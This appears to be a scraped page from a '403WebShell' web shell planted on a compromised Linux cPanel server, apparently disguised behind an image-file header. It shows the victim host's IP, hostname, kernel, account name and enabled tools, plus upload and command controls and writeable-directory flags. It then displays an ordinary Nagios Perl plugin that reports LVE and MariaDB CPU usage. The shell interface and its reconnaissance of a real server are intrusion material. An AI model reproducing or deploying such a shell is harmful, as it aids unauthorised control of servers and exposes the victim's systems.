����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.149.249.124
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/extra/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/extra/check_cpu_time
#!/usr/bin/env perl

use extreme;
use JSON::XS;
use Getopt::Long;
use WHM::Client;

my %ERRORS = ( 'OK' => 0, 'WARNING' => 1, 'CRITICAL' => 2, 'UNKNOWN' => 3 );

my $opt_p = 60;
my $opt_t = 5;
my ( $opt_h, $status );
GetOptions(
    "h|help"     => \$opt_h,
    "t|top=i"    => \$opt_t,
    "p|period=i" => \$opt_p,
);
if ($opt_h) {
    my $help_text = <<'END';
Usage: %s [ --top <top_users> ]

Checks the amount of CPU time spent in LVE and MariaDB and returns the specified amount of MariaDB consumers
  --top=<number> # default is 5 users, maximum is 20
  -h (--help)
END
    printf( $help_text );
    exit $ERRORS{'OK'};
}
$opt_t = 5 if $opt_t > 20;

# plugin code itself
my $whm_cli     = WHM::Client->local();
my $users       = $whm_cli->listaccts();
my $lve_total   = 0;
my $maria_total = 0;
my %maria_all;

# gather lveinfo hash for users
my $stats = decode_json(`cputimehandler stats --json --last 60 --json`);

# start checking users
for my $info ($users->{acct}->@*) {
    next if $info->{user} eq "billing";
    next if $info->{suspended} != 0;
    my $user = $info->{user};
    for $info ($stats->{stats}->@*){
        if ( $info->{username} eq $user ) {
            $lve_total += $info->{lve};
            if ( defined $info->{mysql}){
                $maria_total += $info->{mysql};
                $maria_all{$user} = $info->{mysql};
            }
            last;
        }
    }
}

my @result;
push @result, "Total CPU usage within LVE: $lve_total.";
push @result, "Total CPU usage within MariaDB: $maria_total.";
push @result, "|" if %maria_all;
my $count = 0;
for my $name (reverse sort { $maria_all{$a} <=> $maria_all{$b} } keys %maria_all) {
    push @result, "top_$name=$maria_all{$name};;;";
    $count++;
    last if $count >= $opt_t;
}
push @result, "The usage inside both LVE and MariaDB is null |" if !@result;
push @result, ("lve_all=$lve_total;;;", "maria_total=$maria_total;;;");

say join(' ', @result);
exit $ERRORS{'OK'};

Youez - 2016 - github.com/yon3zu
LinuXploit